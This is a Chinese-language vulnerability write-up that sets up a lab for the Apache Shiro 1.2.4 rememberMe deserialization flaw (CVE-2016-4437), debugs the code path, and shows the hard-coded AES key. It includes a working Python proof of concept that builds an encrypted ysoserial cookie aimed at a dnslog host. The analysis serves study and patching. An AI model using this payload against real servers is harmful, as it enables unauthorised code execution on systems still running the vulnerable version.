前言

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。在它编号为550 的issue(CVE-2016-4437)中爆出严重的Java反序列化漏洞。

https://issues.apache.org/jira/browse/SHIRO-550

image-20211011171345284

如上所述,在Apache Shiro<=1.2.4版本中,Cookie值会首先base64解码,然后AES解密,最后反序列化

但AES默认加密密钥是硬编码在代码中的,因此任何人可以创建一个恶意对象,然后对其进行序列化、加密和编码,将结果通过Cookie中的RememberMe发送给服务端,让其执行我们的恶意代码。

漏洞环境搭建

这里采用vulhub上的环境来搭建:https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

docker pull vulhub/shiro:1.2.4
docker run -it -d --rm --name shiro550 -p 8000:8080 vulhub/shiro:1.2.4

访问8000端口,出现如下界面说明docker里面的环境启动成功

image-20211012090249146

使用利用工具,可成功执行命令

image-20211012093703190

远程调试准备

即便是远程调试,本地也需要一份相同的代码

我们需要先把代码搞到本地,查看当前容器启动的命令

docker ps --no-trunc

image-20211012095010868

可以看到使用的是一个jar包启动环境,复制到本地

docker cp shiro550:/shirodemo-1.0-SNAPSHOT.jar ./

因为本地也需要一份相同的代码,尝试直接新建一个项目,将jar文件当作依赖引入到IDEA中,发现IDEA可以直接将classes目录下的文件还原成代码,但lib目录下还有一些jar,这些jar因为不是当成依赖引入到项目中的,所以看不到代码,也就无法调试

image-20211012100748930

解压shirodemo-1.0-SNAPSHOT.jar到项目根目录,然后右键lib目录选择Add as Library将这些jar全部添加到依赖中

image-20211012101652454

添加后就可以看这个jar的代码了,也就可以调试了

image-20211012101909620

最后还需要将要调试的class文件夹添加到依赖关系中,这里就是BOOT-INF目录下的所有文件,不添加的话在class文件中下断点是无法拦截的。

  • 没加依赖,断点走不到那去,它不知道应该走哪里
  • 加了依赖,就知道你用的哪一个,断点就直接去那了

image-20211012102432067

这个时候本地代码准备就完成了,总结一下主要是3步:

  1. 获取jar文件到本地,将其作为依赖引入
  2. 给这个jar文件所需要的依赖也添加到本地依赖中
  3. 给需要调试的class文件夹添加到Dependencies

然后就是远程调试部分,参考使用 IntelliJ IDEA 在 Docker 中调试 Java 应用程序,主要是以debug模式启用服务端,添加的jar启动命令参数如下

# jdk<=1.7
-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
# jdk>1.7
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

# - transport:监听Socket端口连接方式(也可以dt_shmem共享内存方式,但限于windows机器,并且服务提供端和调试端只能位于同一台机)
# - server:=y表示当前是调试服务端,=n表示当前是调试客户端
# - suspend:=n表示启动时不中断(如果启动时中断,一般用于调试启动不了的问题)
# - address:=5005表示本地监听5005端口(默认5005)

这里java版本为jdk1.8,所以新的docker容器启动命令

docker run -it -d --rm --name shiro550 -p 127.0.0.1:8000:8080 -p 127.0.0.1:5005:5005 vulhub/shiro:1.2.4 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

然后在IDEA中添加一个remote即可

image-20211012105534226

点击Debug,显示Connected to the target VM, address: 'localhost:5005', transport: 'socket'说明成功

登陆处下个断点,有绿色的小勾说明下断点成功

image-20211012110107257

然后去页面上登陆

image-20211012110132530

成功

image-20211012110150184

开始调试

根据最开始的描述,漏洞触发主要有:four:步

  • 传入Cookie rememberMe
  • BASE64解码
  • AES解码
  • 反序列化

根据漏洞描述,shiro使用的CookieRememberMeManager存在问题,定位到对应的路径就是org.apache.shiro.web.mgt.CookieRememberMeManager

我们看下这个类,明显的Cookie相关操作,因为漏洞的入口点是传入的cookie,这里我们就从获取到Cookie开始调试分析,即在getCookie处下断点

image-20211012150157734

向服务端发送payload

image-20211012151427964

此时服务端获取cookie调用getCookie函数到达我们的断点处

image-20211012150727798

F8,可以看到这里将我们传入的cookie值赋值到了参数base64

image-20211012151608190

继续跟,首先判断内容是不是deleteMe,这里明显不是,然后会通过函数ensurePadding进行base64填充,然后会通过base64解码,赋值给byte[] decoded,最后返回decoded

image-20211012152013338

返回的内容会赋值给byte[] bytes,也就是说现在的变量bytes就是存放的base64解码后的cookie

image-20211012152145756

继续跟进,发现会调用convertBytesToPrincipals函数,将bytes作为参数传入进去,如果加密服务存在,就通过this.decrypt()函数对bytes进行解密;

image-20211012152555069

加密服务存在,看下加密服务信息,发现使用的就是AES的CBC模式加密,填充模式为PKCS5Padding

image-20211012152946115

跟进decrypt函数,发现其通过函数this.getDecryptionCipherKey()来获取解密密钥

image-20211012153209418

跟进,不难看出,this.decryptionCipherKey就是默认keykPH+bIxk5D2deZiIxcaaaA==的base64解码的值,也就是密钥

image-20211012153617158

返回密钥后进入解密函数cipherService.decrypt

image-20211012161951771

大家都知道AES解密除了密钥还需要一个偏移量IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到IV,字节是16个0,翻译过来就是' '*16

image-20211012160338231

最后的结果serialized就是我们传入的恶意序列化数据

image-20211012162131268

回到convertBytesToPrincipals,解密后获取到的数据即为serialized,也就是我们的恶意序列化数据,然后调用this.deserialize进行反序列化

image-20211012162647365

反序列化调用readObject()位置

image-20211012162937346

POC编写

根据刚才的分析,shiro在获取到cookie后会进行 base64解码-->AES解密(CBC模式,PKCS5Padding,默认密钥为kPH+bIxk5D2deZiIxcaaaA==)-->反序列化,所以我们构造的POC只需要反着来即可,即 恶意的序列化数据 --> AES加密 --> base64编码,使用ULRLDNS链来进行验证

POC如下:

#!/usr/bin/env python

import base64
import subprocess
from Crypto.Cipher import AES


def rememberme(dnslog):
    popen = subprocess.check_output(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', dnslog])
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = rememberme('http://fzv4lc.dnslog.cn')
    print("rememberMe={}".format(payload.decode()))

image-20211012170350284

漏洞修复

https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848

删除硬编码,生成随机key

image-20211012170930594

总结

分析过程

总体来说分析起来还是很简单,简化一下就是

  • 首先在CookieRememberMeManager.getRememberedSerializedIdentity中进行base64解码
  • 然后调用AbstractRememberMeManager.convertBytesToPrincipals,其中包含了AES解密和反序列化

几种常见的远程调试的方法

  • JAR
jdk<=1.7
java -Xdebug -Xrunjdwp:server=y,transport=dt_socket,address=8000,suspend=n -jar 
jdk>1.7
java -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n -jar
  • Tomcat

catalina.sh 中添加

JPDA_TRANSPORT=dt_socket
JPDA_ADDRESS=5005
JPAD_SUSPEND=n

CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=60222,suspend=n,server=y"
  • Weblogic

Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 中添加

debugFlag="true"
export debugFlag
Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2021-10-21 09:28:25

results matching ""

    No results matching ""